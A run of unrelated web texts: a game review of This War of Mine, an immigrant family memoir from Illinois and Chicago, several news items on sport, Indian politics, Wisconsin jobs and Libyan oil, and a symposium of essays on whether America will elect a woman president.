This War of Mine is a gritty look at the other side of war – the civilian side: the horrors of war, civil collapse and tests to your morality in a way few games ever could. This War of Mine is a survival-strategy game where you control a small group of civilian survivors caught up in the conflict. Food, medicine, water and bandages are all in short supply. Snipers make the streets too dangerous in the daytime, so daytimes are spent eating, preparing your makeshift shelter and trying to keep morale up. By night, you venture out to scavenge supplies – a voyage plagued by risks. Other survivors may fight you for their chance at survival, soldiers and criminals may take advantage of your plight. Perhaps you will take the nighttime to steal from other desolate civilians. How far will you go to survive? And at what cost?
It’s a brilliantly balanced survival-strategy. You can approach the game as a fighter and a thug, taking what you need from others because your own survival is paramount. Alternatively your method might be to focus on being a producer of medicines, food or cigarettes and trade with others to secure better defences and weapons
In my mind, This War of Mine is the best wargame out there right now and one of the best survival sims too – not just because of the jarring change in perspective from heroics to desperation but because of how emotionally invested you will become in it. It’s a gripping game that will give you a new gaming experience.
To round it off, This War of Mine is an aesthetic delight, the gritty, grainy charcoal-art style is beautifully delivered and is a perfect fit to accompany through your bitter -yet-definitely-a-fun-game experience.
This War of Mine is currently in our Summer Sale, so now would be a great time to pick it up if you haven’t already!The Southernmost wedge of Illinois is called Little Egypt. Towns are named Cairo and Karnak and Thebes. When Julio Foli and his brother Mario arrived there from Fanano, Italy, early in the last century, maybe they were expecting pyramids; instead they found coalmines. They hauled coal until they’d saved enough to buy passage for the rest, Alberto, Gaetano, Tony, Rosa, Ines, and their parents. Eventually the Folis quit the mines; they opened butcher shops and planted pear trees; they became aldermen and founded church choirs; they married well and also badly.
Rosa’s first husband was a tyrant who beat and belittled her. There were two impediments to divorce, the Church and a wheelchair. The man had been left handicapped in a car wreck, and in the 1920s the courts wouldn’t let you leave a cripple. Even if he threatened to kill you. Rosa’s husband used to explain, quite calmly, how he’d dispose of her body by tossing it over her parents’ back fence.
In Johnston City murder, mutilation, and the strewing of body parts were not idle threats. Williamson County was an almost comical nexus of American violence, like the dust devil of fists and pistols in a Tex Avery cartoon. All the big players in Yankee evil went at it here: the Ku Klux Klan fought the Mafia; coal barons battled corrupt sheriffs; skirmishes between rival bootleggers resulted in bombings, tank battles, and public hangings. Seven boys had been cooked alive in the Stiritz Mine blast of 1927. Nineteen more were killed in a massacre of strikebreakers at the Herrin Mine. My great grandfather, Guy Foli, bought his first house at a deep discount because he’d found the previous owner dead in a secret sub-basement. The man had been bludgeoned by Sheriff Arms, a lawman who, under the pretext of enforcing Prohibition, conspired with the Klan to terrorize Catholics, foreigners, and other alcoholic species.
Before he bought the dead man’s house, Guy lived in an apartment above his market and butcher shop. One night in the mid 1920s, Arms arrived with his Klansmen deputies. They bound my great grandmother, Mary, in a potato sack, and hauled her husband off to jail in Benton. (My grandmother, who witnessed the abduction, told me, ‘There were a lot of white people who didn’t want us living in their town.’ This was the first time I’d thought of my grandmother as non-white.) Guy recognized one of his assailants, a boy to whom he’d extended store credit. ‘I know you’, he said. The sheet concealed whatever shame he felt. The next week, the boy would be back in Foli’s Market buying salsiccia and penny candy that he couldn’t pay for. In Johnston City everybody was on the losing end of some battle.
It was, in my grandmother’s words, ‘a tough little town’, to say the least. So when Rosa’s husband threatened to dismember her, she had reason to believe him. In American lore, the small town is always a refuge from the stampeding inhumanity and dirty humanism of the big city. Immigrants suffer the purgatory of Chinatowns and Hells Kitchens before ascending to our Rockwellesque burbs and hamlets. This was not Rosa’s trajectory. To escape a homicidal husband and a tough little town, she did something remarkable, especially for a woman of the twenties. She boarded a train and travelled to a distant city where she knew no one.
If you kept bar at Salvedo’s on North Sedgwick you would not be surprised to see a tin bucket land on the icy walk across the street. You would drape your rag over the slop sink, fetch two bottles of Fox DeLuxe from the cooler, and place them in the bucket. Then you’d watch the woman in the second-storey window hoist up the bucket on a string. And even though your name would be Guy Tony or Sal, you would not be surprised when she greeted you with a cry of ‘Garibaldi!’
Rosa called everyone Garibaldi, as if every person in Chicago were a general. My great-great aunt was herself an armchair general. She performed the entire beer-bucket operation, and just about everything else, from a chair by the window. She sat like she had very little experience standing up and less inclination, but Rosa had given enough of her life to standing. After fleeing Johnston City, she’d worked as a maid at the Highland Park Country Club. She had outrun homicide and golfers, and now she wanted to sit. She wanted to drink beer and crochet.
And she didn’t waste her talents on granny-square trivets or wooly shawls. Rosa was an artist. On one wall hung her lace rendering of The Last Supper, history’s most depressing dinner party woven from fine yarn. The burden of sin and salvation was chain-stitched across Christ’s face. Rosa’s own expression was of grim contentment, grim on the verge of laughter, crochet hook in one hand, church key in the other. She cursed and wheezed and was loved.
The man who loved her was several blocks south, paring radishes in the kitchen of the Ambassador Hotel. Paul had been an infantryman and a landscaper before rising to the rank of Head Salad Chef in one of Chicago’s finest establishments. He was humble and kind and the size of a doll, an Italian toy soldier. He chopped iceberg lettuce without violence, shaved carrot curls with a hand like a hairdresser’s. He dressed shabbily so no one would mug him as he walked home from work.
Paul wrapped two pork chops in the Tribune and clocked out, the bad news bleeding backwards on the |
the chance to study the ability of those who play in club football outside Scotland, such as Real Madrid's Jack Harper and potential Barclay's Premier League players of the future aged between 14 and 20.
Wotte said the four-day training camp in the Midlands had been a resounding success. "We decided rather than fly the players up to Scotland to train, we would set up a camp in England. It makes more sense for the coaches to go to them.
"There are 24 academies in England and we have to tap into them, because not every player will get the chance to play for England.
"We have taken steps to source players with a Scottish heritage and the response we've had has been excellent.
"Of course, there is a risk involved that you want a player to pledge himself to Scotland and they do so but decide to play for England at the last minute. It happened to us with Southampton's Sam Gallagher; that was disappointing and frustrating. But, then, we have had the positive in someone such as Ikechi Anya at Watford, who has made an impact for the full national team.
"We have to broaden our horizons and accept that not every player will be born in Scotland and spend all of his young life there. We must not restrict ourselves.
"If you look at the Germany team that won the World Cup, not every player was born in Germany. France hasn't had success because every player was born in France. It's the same with Holland."(CNN) She is cycling royalty -- affectionately known as "Queen Victoria" to her adoring fans -- but her latest race was never going to be an easy ride.
Victoria Pendleton had done it all on the velodrome's banked boards, winning two Olympic gold medals and nine world titles before hanging up her cleats after the 2012 London Games.
On Thursday, the Briton's sporting career clicked back into gear again, not on the cycling track but on the turf at Newbury Racecourse as she made her first competitive outing as an amateur jockey in a charity race.
In the end, it was a creditable debut with Pendleton finishing eighth out of a field of 11 boasting several experienced riders, including New Zealand's veteran three-day eventer Mark Todd.
Her mount, Mighty Mambo, got off to a slow start in the one-mile, five-furlong race and remained towards the rear of the field before making up some places as the finishing line neared.
Read MoreSonia Gandhi 12th richest leader in world: Huffington Post
New Delhi
oi-Anisha
New Delhi, Dec 2: Congress president Sonia Gandhi, whose nomination papers show that she owns neither a car or a home in India, is the 12th richest political leader in the world, said a report in Huffington Post World.
[Read: Huffington Post removes Sonia Gandhi's name]
Vladimir Putin, the President of Russia, tops the list with riches worth USD 40 million, followed by Bhumibol Adulyadej, the king of Thailand, and Hassanal Bolkiah, the Sultan of Brunei.
Huffington Post World claims Sonia Gandhi has USD 2 billion wealth
The Indian Congress leader is followed by Albert II, the Prince of Monaco, who is worth USD 1 billion. Qaboos bin Said, the Sultan of Oman, and Teodoro Obiang Nguema Mbasogo, the president of Equatorial Guinea, are next on the list.
Syria's President Bashar al-Assad is 16th on the list with riches worth USD 550 million. And Elizabeth II, the Queen of England, ranks 18th in the list with riches worth USD 400 million to USD 500 million.
Gandhi, while filing her nomination for the Lok Sabha election in 2009, had declared that she owns neither a car nor a house in India. However, she had mentioned owning an ancestral home in Italy valued at Rs 18.02 lakhs.
Sonia Gandhi's assets, according to the affidavit, totalled Rs 1.38 crore, nearly Rs 1 crore less than what her son Rahul Gandhi reportedly had.
Sonia Gandhi's affidavit says that she had Rs 75,000 in cash and Rs 28.61 lakh in bank deposits. In addition, she had mutual funds worth about Rs 20 lakh and Rs12 lakh in Reserve Bank of India bonds. A sum of Rs 199,000 was deposited in post offices and Rs 24.88 lakh with the Public Provident Fund.
Sonia Gandhi's jewellery, weighing about 2.5 kg, was valued at Rs 11 lakh while 88 kg of silver possessed by her was stated to be worth about Rs 18 lakh.
She owns two plots of agricultural land totalling up to about 15 bighas and valued at Rs 219,000. Their location is not mentioned in the affidavit.
Sonia Gandhi paid Rs 558,000 in income tax for the assessment year 2008-09 and Rs 32,512 in wealth tax.
However, the report in Huffington Post World claims Sonia Gandhi has USD 2 billion wealth.
The report does not mention how it arrived at the conclusion of.
For comparison, each country's GDP per capita is juxtaposed with a leader's personal net worth, just to show how different life is for the haves and have-nots, says the website.
Oneindia News
(With Agency inputs)
OneIndia NewsWorld Cup-winning coach Graham Henry could find himself in hot water once again for disparaging remarks he has made about match officials.
The former All Blacks boss who is now a technical advisor for the Pumas, had some choice words to say about the standards of refereeing in the Rugby Championship, saying that referees and the judicial panel have been "totally inconsistent" and are "a weakness in the game."
He was speaking in a panel show which aired in New Zealand, and commenting on the citing of Springbok lock Flip van der Merwe during last weekend's Test against Australia, Henry said the judiciary is "totally inconsistent just like the refereeing."
Henry said a decision to issue a yellow card to Wallabies flank Michael Hooper for a tip tackle in the same match was "madness" and referees appeared to be looking for excuses to award yellow cards beyond "the obvious."
"I just can't understand what they are seeing because everyone else doesn't agree," he said.
Henry agreed with another panelist, former All Blacks scrumhalf Justin Marshall, that referees were awarding red and yellow cards too quickly and it was affecting the outcome of matches.
"I think that is a weakness in the game at the moment," he said. "We need totally transparency."
This comes months after Henry found himself in hot water with SANZAR after comments he made regarding a Super Rugby game between the Blues and the Crusaders.
Henry was working as a consultant with the Blues at the time and suggested that the TMO was 'blind' after disallowing a Blues try.
"It was obvious to me, I don't know, he was probably a blind TMO was he? It's an obvious try," he said.
However, despite a misconduct charge he was let off with a reprimand and an agreement to issue a public apology.
SANZAR chief executive Greg Peters is aware of Henry's comments and said the matter would be investigated.
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100 Billionth Crayola Crayon
One of the most popular episodes of Mister Rogers’ Neighborhood is the program in which Mister Rogers watches a video showing how crayons are made. Binney & Smith was producing a batch of yellow crayons—Fred’s favorite color. The video is available through the Fred Rogers Center’s online exhibit, and although it originally aired in 1981, viewers still request it today.
In 1996, Rogers traveled back to the Binney & Smith factory in Easton, Pennsylvania to pour the 100 billionth Crayola crayon. The special crayon was in the limited-edition color Blue Ribbon, and the commemorative replica that Fred received at the event is housed in the Fred Rogers Archive.
Mister Rogers often incorporated crayons into Mister Rogers’ Neighborhood segments. Although he frequently used them for drawing, he also showed how they could be used in other creative ways. Once he made puppets out of spoons and crayons. In the early 1970s, when Lady Elaine Fairchilde was exploring outer space, she used crayons to draw what she was seeing and communicate with the Neighborhood of Make-Believe. On Earth, Mister Rogers and Betty Aberlin used crayons to make rubbings of leaves and other items. Fred knew that crayons were recognizable, and important, objects to children; therefore, he enjoyed showing their many uses on the program.
(Visited 101,847 times, 259 visits today)Two Similar A Dorian (w/b5) Lines
In this Psycho Licks installment, I'm presenting a pair of A Dorian (A-B-C-D-E-F#-G) linesboth of which are executed in 5th position, and make ample use of the almighty b5 (the note Eb, as it relates to A) chromatic note.
Since both lines involve carrying a certain motif across the fretboard (a repetitive pull-off pattern) and make use of a fairly consistent picking pattern, I've written in the specific fret-hand fingers used, as well as the picking I used. But feel free to make any adjustments necessary, to make it comfortable for you!
Once you get comfortable with both licks, try improvising using some of the patterns you come across. You'll probably notice that the patterns used pretty much involve working between two strings at a time. The motif used in Lick#1 starts on the highest string of each string pair, while the motif used throughout Lick#2 kicks off with the lowest string of each string pair.
Enjoy!
(*You can hear the lick FAST by clicking HERE*)
(*You can hear the lick SLOW by clicking HERE*)
Here's Lick #2!
(*You can hear the lick FAST by clicking HERE*)
(*You can hear the lick SLOW by clicking HERE*)
Like This 100% Free Blues-Rock Guitar Lesson?Wisconsin’s latest jobs report shows unemployment rates for August 2015 decreased in all 72 counties and in all 12 metro areas compared to August 2014. However, an economist warns that while the results sound good, actual statewide job growth has not improved much in the last year.
Abdur Chowdhury, professor of economics at Marquette University, said the reason unemployment rates are going down statewide is because people have dropped out from the labor force.
"If you look at the actual number of (jobs created) in August 2015 and compare it with August 2014, you'll see that in terms of employment, the increase, according to these statistics, is zero. That means total employment has not increased," Chowdhury said.
What has happened over the last year, said Chowdhury, is that the total labor force has declined by 27,800 workers as a result of people retiring or quit looking for employment among other factors. The shrinking labor force resulted in the unemployment rate statewide dropping from 5.3 percent last August to 4.5 percent this August. But it doesn’t mean more people are employed now.
"The unemployment rate number in the state of Wisconsin is quite low, there's no question about it. It's below the national rate currently, has been below the national rate for some time. So overall, there's not much to complain about in the unemployment rate numbers here, but what I'm saying is that things over the last one year didn’t improve much."
Chowdhury said the bigger, more comprehensive takeaway is that Wisconsin continues to trail other states in job growth.
"Wisconsin has not done very well. Nationally, we are in the lower 25 percent of the states in terms of job creation. If you look at the statistics that was released today, in fact, if you closely look at the numbers, it doesn’t give you a very positive picture of job creation," he said.Libyan rebels stand guard in a petrol station
© AFP Borni Hichem
AFP
WASHINGTON (AFP) – The United States on Wednesday authorized Americans to buy oil from Libyan rebels, easing sanctions to open a stream of funding to opponents of Libyan strongman Moamer Kadhafi.
The US Treasury specifically authorized transactions with Qatar Petroleum and the Vitol Group “related to oil, gas, or petroleum products exported from Libya under the auspices of the Transitional National Council of Libya.”
Buyers must report the transactions to the Treasury Department and provide information to show that the Libyan government or others under sanctions derive no benefit, the Treasury Department statement said.
The authorization creates an exception to an executive order in February that froze the assets of a number of senior Libyan officials and blocked transactions with the Libyan state.
The Transitional National Council, which represents the rebel forces fighting to overthrow Kadhafi, hailed the US action.
“The people of Libya are brave and defiant but we need access to oil revenues so that we can feed, protect and defend our families,” it said.
“These funds are crucial to establishing a stable and secure future nation, and we welcome the US decision to ease sanctions on our exports.”
© AFP — Published at Activist Post with licenseThe New Indian Express By
The cabinet clearance for the Bill intended to punish those who keep unaccounted wealth in foreign countries is well-intentioned. However, good intentions alone do not guarantee success of any law. In the present case, the Undisclosed Foreign Income and Assets (Imposition of New Tax) Bill, 2015, is ruthless in its treatment of the violators of the law. For instance, the fine for any income concealed in this manner is 300 per cent of the amount. What’s more, they are also liable to be punished with 10 years’ imprisonment. Seen together, the law is harsh. It overlooks the fact that certainty of punishment, rather than its severity, is what deters crime. This is true about financial crime also.
There is no disputing the fact that a large sum of Indian money is stashed away in foreign banks. Though the names of some of those who have kept money in foreign banks have been disclosed, they constitute only a tip of the iceberg. It is also an emotional issue for Indians who feel that the money should have been in India and used for development. The ruling BJP made good use of it during the last Lok Sabha elections when it said that the money would be brought back to India and it would enrich every Indian by `15 lakh. It is against this backdrop that the new Bill, announced by finance minister Arun Jaitley in his Budget speech, should be seen.
True, there is a one-time amnesty. What is disconcerting is that the law gives government officials enormous power. That imprisonment can be invoked against the guilty is not something that can be approved of. A person or company doing business in foreign countries may accidentally breach the law. Similarly, banks and other financial institutions may also make mistakes which can be construed as violation of the law. The law does not spare them even. Instead of imprisonment, it would be better for the government to institute provisions for attachment of properties of the guilty. The idea is not to fill the jails but to ensure compliance with the law.Most people who follow politics spent 2016 imagining an America where Mr. President became Madam President. But the reality today looks very different. The highest glass ceiling remains firmly in place, and President Donald Trump’s theatrically alpha-male leadership style has made a crack seem even more remote. Plenty of women are floated as possible Democratic nominees in 2020, but none with as clear a shot as Hillary Clinton had; after her loss, some Democrats are even wondering whether they should run a man to give the party a better chance in the next cycle. On the Republican side, assuming Trump seeks reelection, a woman would not get the opportunity to run until at least 2024.
Will America ever elect a woman president? And what will it take?
Story Continued Below
We asked women (yes, all women) from a range of fields for their insights into why it hasn’t happened—plus when, and how, that could change. Their answers drilled into the structure of American politics, the power of family dynamics in our decisions, the shifting preferences of voters and the pipeline of women candidates themselves. And if partisan competition is the only certainty in American politics today, champions of women’s leadership have this to hold onto: Democrats and Republicans each claimed their party would get the first woman into the White House.
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Illustration by Heads of State
It could happen as early as 2020.
Patti Solis Doyle, Democratic strategist and a campaign manager for Hillary Clinton in 2008
It’s hard to argue things are getting better for female candidates when America elected Donald “grab them by the p----” Trump. But I’ve been working in campaign politics for nearly 30 years, and I believe America will elect a woman president—maybe as soon as 2020.
Sexism costs every woman candidate votes. But Hillary Clinton did not lose the presidency in 2016 because she is a woman. She was the wrong candidate for the time. She personified the very institutions voters despised. Americans wanted more than change; they wanted disruption. Still, Clinton has certainly succeeded in making it easier for other women to run for office. When I managed her 2008 presidential run, I made the importance of electing a woman part of my pitch to activists, donors and supporters. “If not now, when? If not, Hillary, who?” At the time, no other woman had the political strength, the ability to raise money, the résumé or the name recognition. She was our only realistic hope.
Now, Senators Elizabeth Warren, Kamala Harris and Kirsten Gillibrand (among others) represent major states, serve on powerful committees and speak directly to massive networks of activists and donors. Sheryl Sandberg distinguished herself at Harvard, McKinsey and the Treasury Department before crushing it at Google and Facebook. A retired woman general or admiral would destroy Trump on foreign policy. A woman mayor, governor or university president not yet on our radar screen could surprise us all.
The question is whether those women will win votes. When Trump tweeted about the millions of Women’s March participants, “Why didn’t these people vote?” it may be the only time I agreed with him. Clinton lost because turnout among minorities and Democratic women in 2016 looked more like it did in 2004 (John Kerry) than 2008 or 2012 (Barack Obama). That’s on her, with honorable mention to James Comey.
But we’re already beginning to see a shift. You’d expect women to outnumber men at a women’s march, but they also outnumbered men at the marches for climate and science. According to a recent Pew survey, 58 percent of women are paying closer attention to politics since the 2016 election, compared with 46 percent of men. And with more women working (and heading households), “women’s issues” like paid leave and child care matter more. The candidate who owns these issues will win the Democratic nomination, and that candidate is more likely to be a woman.
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Look for a woman to win in 2024—a Republican.
Liesl Hickey, Republican strategist and former executive director of the National Republican Congressional Committee
Conventional wisdom has it that when America elects a woman president, she’ll be a progressive Democrat. But Republicans are better positioned to elect a woman first, and I believe it will be sooner rather than later.
Christine Todd Whitman Former New Jersey governor and Environmental Protection Agency administrator “I doubt we will see a female president in the next cycle, but there are a number of very qualified female governors who could easily be nominated after that. I don’t see the Democrats going back right away to a female candidate after the last election (for no good reason), and the Republicans will have lots of debris to sort through before they can get elected again.”
The Republican bench of potential female candidates for president is young and dynamic. They have diverse backgrounds—executive, legislative and international. In President Donald Trump’s Cabinet, there is U.S. ambassador to the United Nations Nikki Haley, whose smarts and toughness on the world stage are backed up by a record of executive leadership in South Carolina. Senator Joni Ernst of Iowa and former Senator Kelly Ayotte of New Hampshire have the respect of key players in the party, and each has a keen understanding of an early primary state. There are also more Republican than Democratic female governors; Iowa’s Kim Reynolds and New Mexico’s Susanna Martinez are well positioned for national office.
Another important factor: Female Republican politicians tend not to view women voters as a monolithic group that must adhere to a left-leaning agenda. Republican women in politics look a lot like women across America—problem-solvers who are willing to listen—and they already are showing how this can win over voters. The 2024 election could be the year of a woman president—a Republican woman president.
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It can happen—but prepare for the backlash.
Marcia Chatelain, associate professor of history and African American studies at Georgetown University and author of South Side Girls: Growing Up in the Great Migration
A black president and a Jesuit pope. Growing up, I was told I would never see these things come to pass. By 2013, after the election of a president named Barack and the pope we know as Francis, I was certain a woman president was next. I thought Hillary Clinton would win, not because America was “ready” to make history, but because her opponent was so risky, so inept, so morally bankrupt that I expected the nation would suppress its sexism momentarily.
I still believe a woman could be president, if she pursued what delivered the first black president: grassroots new voter registration efforts for youth and people of color. Sexism, of course, would still dictate her rise: She would need to be attractive, well-spoken, married with children, and experienced but without baggage.
Imagining a woman president means preparing for a calamitous wave of misogynistic backlash, like the backlash inspired by Obama and central to Donald Trump’s win. When we elect a Madam President, I will wonder again: “Was making history in the White House worth it?”
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It can happen in the next 20 years, if we get big money out of politics and promote diversity.
Nina Turner, former Ohio state senator and president of the advocacy group Our Revolution
The path continues to be difficult, but I believe a woman will be elected president within the next 20 years. It will require the deconstruction of the gender and racial biases that permeate our culture and institutions. We currently have one set of rules for female candidates and another for males, and that hurts women seeking office. On top of that, the ungodly amounts of money required to win elections are a barrier to most women making the choice to run for office.
Getting big money out of politics would ensure that women have a fairer shot at winning elections, and a serious commitment from the media, the political class and the nation to evenhandedness could help level the playing field of public perception. Finally, we can’t realistically elect a woman president without ensuring greater numbers and diversity among the women who run and win governorships. Consider that there has never been an African-American woman governor. The path to electing a woman president includes examining how women of color have been stereotyped, disregarded and locked out of certain offices.
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Illustration by Heads of State
Not until we can make sexism a public issue.
Susan Bordo, gender and women’s studies professor at the University of Kentucky and author of The Destruction of Hillary Clinton
For centuries, women in politics have faced a classic double bind. Queen Elizabeth I felt she had to convince her subjects she had the “heart and stomach of a king,” but she couldn’t present herself as too “masculine” (and thus “unnatural”—a special problem for her, as she remained unmarried and childless), so she took care to promote herself as a loving, maternal figure, too, with all English subjects as her children. When Hillary Clinton teared up in a New Hampshire coffee shop after losing the 2008 Iowa primary, reporters declared that “the icy control queen” had finally shown she was “human.” But of course, if Clinton had spilled over with tears rather than simply welled up, her competency for office—especially as commander-in-chief— surely would have been questioned.
History suggests that the biggest obstacle to a woman aspiring to the highest office anywhere is simply that she is not a man. In every era, in every culture, as French philosopher Simone de Beauvoir pointed out, a man is the norm, and women are defined in terms of their difference from that norm. This is particularly true when it comes to our visual images and expectations for the head of state.
Amanda Carpenter CNN contributor and former communications director for Senator Ted Cruz “America will be more likely to elect a female president when a woman campaigns as a smart, honest, trustworthy candidate and doesn’t act like her gender is some special qualification. America is ready for a female president, but voters are going to wait until she’s the right one.”
Even in countries that have had female leaders for centuries, women who aspire to or hold higher office tend to be seen more as female leaders than as leaders, identified by the one thing that makes them most different from the norm. British Prime Minister Theresa May has been described as “the new Hillary Clinton”—but also as “the British Angela Merkel” and “a new Iron Lady,” referring to former Prime Minister Margaret Thatcher.
At the same time, the woman who publicly criticizes sexism is seen as “strident” and politicizing. Women who have managed to get themselves elected have mostly either disclaimed the label of “feminist”—Thatcher and Israel’s Golda Meir—or equivocated, as Merkel has, acknowledging “common ground” but not wanting “to adorn myself with these feathers.” Australia’s Julia Gillard is the rare example of a woman leader who denounced the sexism of her opponent and in public life generally, and also received widespread acclaim.
During the 2016 election, attention called to the overt misogyny against Clinton was too often shushed with scorn (on both the left and the right) as an effort to “play the woman card.” And we can already see familiar sexist tropes beginning to creep into comments about future presidential contenders such as Kamala Harris and Elizabeth Warren. Until we make sexism a public issue—no less important to confront than “fake news” or voter suppression—we are unlikely to see a woman occupy the office that historically, and in our imaginations, has been reserved for a man.
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Illustration by Heads of State
The odds are low, given the absence of women in politics.
Marianne Cooper, sociologist at the Clayman Institute at Stanford University and lead researcher for Sheryl Sandberg’s Lean In
Hillary Clinton was one of the most qualified presidential candidates ever, and Donald Trump is the first president with zero prior experience in either the armed forces or government. It’s a common pattern: To be deemed qualified, research shows, women need to provide more evidence of their competence than do men. This means that for a woman to break through the “highest and hardest glass ceiling,” she is going to have to be eminently and unassailably qualified.
The good news is that, when it comes to education, women are getting the degrees often required for higher political office: They earn about 60 percent of all bachelor’s and master’s degrees and the majority of doctorates.
But when it comes to political experience, they don’t match up nearly as well. Women represent 20 percent of Congress. They hold about a quarter of seats in state legislatures, and that percentage has stayed about the same since 2000. The number of women in elected statewide executive office (governors, as well as lieutenant governors, attorneys general and other such positions) has actually dropped since then and now stands at just 24 percent. And a meager six governors are women. If Clinton had won, women could have played key roles in her administration, positioning them for political candidacy; instead, Trump’s Cabinet has only four women.
Because this bench of female candidates is not very deep, the odds of a woman president appear depressingly low in the near term. At the same time, the seeds of change may have been planted in Clinton’s defeat. EMILY’s List reported talking with 900 women interested in running for elected office in 2016. This year, the organization has already heard from 11,000. Among young girls, the sting of Clinton’s upset may serve as inspiration to enter politics when they grow up. We likely won’t have a woman serve as president anytime soon. But just think about the girls who went to bed thinking Clinton’s victory was certain—but who woke up to their mothers crying. The “nasty women in training” who participated in the Women’s March or watched it on TV. I’d place a pretty big bet on them.
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Illustration by Heads of State
Not soon: Gender stereotypes run too deep.
Susan T. Fiske, professor of psychology and public affairs at Princeton University
Americans have managed to elect a black president and, decades ago, a Catholic one. It’s not hard to imagine electing a Jewish or Mormon president soon, and likewise an Asian or Latino one. But a woman president is another matter. Why? The prejudices around women run surprisingly deep and are hard to budge.
My lab’s cross-cultural research has not found universal prejudices along racial and ethnic lines—suggesting that different societies invent different stereotypes depending on accidents of history. These are more arbitrary—and more changeable. Across the planet, however, we have found universal gender prejudices.
Wendy Davis Former Texas state senator “We will elect the first female president when we can all acknowledge that the men in charge are the reason women aren’t yet full partners in the economic well-being of this country.”
Gender prejudices are shaped by family dynamics, and that makes them harder to unseat. People usually have women in their families, and while men and women are marvelously interdependent, men almost universally have higher status. Around the world, we find that people deal with this tension using a system that my co-author, Peter Glick, likens to a protection racket: Women who rebel—such as feminists, lesbians and ambitious professionals—are punished, while women who cooperate with men and support their higher status are rewarded by being cherished and “protected.” When men and women agree to the protection racket—as sexist as it is—peace and stability ensue.
As society changes by becoming more inclusive, a racial, ethnic or religious group’s place in society can also change without disrupting our family arrangements. Not so with gender: People can’t change their assumptions about men and women’s complementary-but-separate domains because it would disrupt family life.
With this view of women so deeply embedded in the home, we’re not likely to see much change to societal gender stereotypes anytime soon—in the living room or the voting booth. Still, demographic changes are working in women’s favor. As more women excel in college and careers, sexist people will encounter them at home and at work, destabilizing the protection racket. And there’s nothing that reforms a sexist like having a daughter mistreated, maybe even in her run for president.
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America’s political structure might actually make it harder.
Farida Jalalzai, interim head and professor of political science at Oklahoma State University and author of Shattered, Cracked and Firmly Intact: Women and the Executive Glass Ceiling Worldwide
Why is the world’s most powerful democracy still among the roughly 60 percent of countries that have never been led by a woman? And will that ever change?
I have analyzed patterns in female political leadership across the world, and, unfortunately for the United States, America’s valued democratic institutions and processes—a dominant presidency filled by election, rather than appointment—might actually be making it harder to elect a female president.
In my research, I have found that women, compared with their male counterparts, more often gain offices through appointment as opposed to popular election. Few women secure presidencies where they do not share power with a prime minister, and women leaders in dual systems often occupy the weaker role.
Women also disproportionately govern in parliamentary systems, where they face significant vulnerabilities, namely being ousted at any point and having to exercise power more collaboratively (often viewed as a more “feminine” mode of governance). Among female presidents who have been elected directly, most, with some exceptions, are the relatives of men who were presidents or other major political figures, such as Cristina Fernández de Kirchner of Argentina.
America will be living with these structural factors for the foreseeable future: It’s unlikely that the United States will change the way it elects presidents anytime soon, and the strong single executive is a direct outgrowth of the Constitution.
Given that system, the best route for women is to work to change the stereotypes surrounding the presidency and improve the pipeline of women in politics.
The nation’s highest office continues to be associated with “masculine” issues, like military and foreign affairs, and traits, like toughness—a view that could perhaps be changed, given that real presidential successes often come through collaborative processes like working with Congress. And there is still a short supply of women in office as legislators, governors and candidates.
Until those issues are addressed, the United States will likely struggle to join the company of the dozens of countries that have found a place for at least one woman at the executive desk.
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Illustration by Heads of State
Electing a woman means we can’t think of the presidency as inherently masculine.
Kelly Dittmar, assistant professor of political science at Rutgers University-Camden, scholar at the Center for American Women and Politics at the Eagleton Institute of Politics and author of Navigating Gendered Terrain: Stereotypes and Strategy in Political Campaigns
Electing a woman will require disrupting gender norms and rethinking what counts as “presidential.” Women and men alike have begun this work. Shirley Chisholm ran for the office in 1972 as a black woman, “to demonstrate the sheer will and refusal to accept the status quo.” In 2008, both Hillary Clinton and Barack Obama further challenged the image of and expectations for presidential leadership. Eight years later, Clinton more fully embraced her gender as an electoral asset.
Of course, 2016 also revealed backlash to this progress: Donald Trump bolstered the idea of presidential masculinity in his rhetoric, behavior and even body language, and it resonated with many of his voters. Over the arc of history, however, we have witnessed greater public acceptance of gender disruption in the presidency. In 1964, Senator Margaret Chase Smith of Maine won just 227,000 votes in her bid for the Republican nomination, while Clinton won nearly 66 million votes in the 2016 general election—a majority.
For voters’ expectations to truly change—enough for a woman to win—more Chase Smiths, Chisholms and Clintons will need to seek the presidency. And presidential candidates, including men, must avoid running on stereotypically masculine terms.
***
Maybe—but only if politicians start to focus on class.
Joan C. Williams, professor and director of the Center for WorkLife Law at the University of California Hastings College of the Law
Sexism played a role in the 2016 election—no doubt about that. Not only are women required to provide more evidence of competence than white men to be seen as equally competent, but Hillary Clinton also faced “tightrope bias,” which demands that women be modest, helpful, sympathetic and nice in order to be liked. Not exactly the qualities we prioritize in a commander in chief. Donald Trump certainly had a likability problem, but it didn’t matter. A woman who’s not a good woman is a bad person (“lock her up”), but a man who’s not a good man can still be a “real man”: blustery and bullying, Trump to a T.
To turn things around for women (and everyone else), we need to focus on another big factor at play in Clinton’s defeat: class. The loss of good blue-collar jobs in America fuels the attraction of Trump’s own brand of hyper-masculinity, because men tend to ramp up displays of manliness when their masculinity is threatened, and many non-elite men feel the breadwinner role slipping out of reach. For them, the change promised by a woman president came across as a threat. Clinton-style feminism didn’t resonate with many white working-class women, either: They trended heavily for Trump. One reason was her focus on the glass ceiling, a metaphor that typically demands access for elite women to jobs dominated by elite men. Why should working-class women care who gets elite jobs they are not qualified for? They don’t.
If working-class voters don’t see serious attention paid to the issues driving economic populism, then Trump’s aggrieved masculinity will remain the most appealing option, and female candidates are going to be stuck. So anyone who wants to protect women’s rights to equal treatment and abortion access, and wants someone to fight for affordable child care and family leave, needs to care whether Democrats can make inroads into the ocean of rural and Rust Belt red that delivered the 2016 election to Trump.
And if progressives stop to listen, they will hear that many Trump voters share their outrage about growing income inequality. Not just working-class whites, but non-elites of all races care deeply about the decline of the American dream. Advocates of women’s equality should care, too: Improving the prospects of Americans without college degrees will help millions of women by providing them economic stability—a key feminist goal. Will it be a woman president who accomplishes this? All I can say is... I hope so.
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Illustration by Heads of State
A changing electorate means it will happen soon.
Page Gardner, president and founder of the Voter Participation Center
There’s no doubt in my mind that America will have a woman president. The question is when the right candidate will speak to the needs of the fast-growing parts of the electorate.
Elizabeth Holtzman Former U.S. representative from New York “That millions of women voted for a self-confessed sexual assaulter as president shows how far we have to go. The solution is more women governors and Cabinet members, and ending the treatment of women in the media as sex objects.”
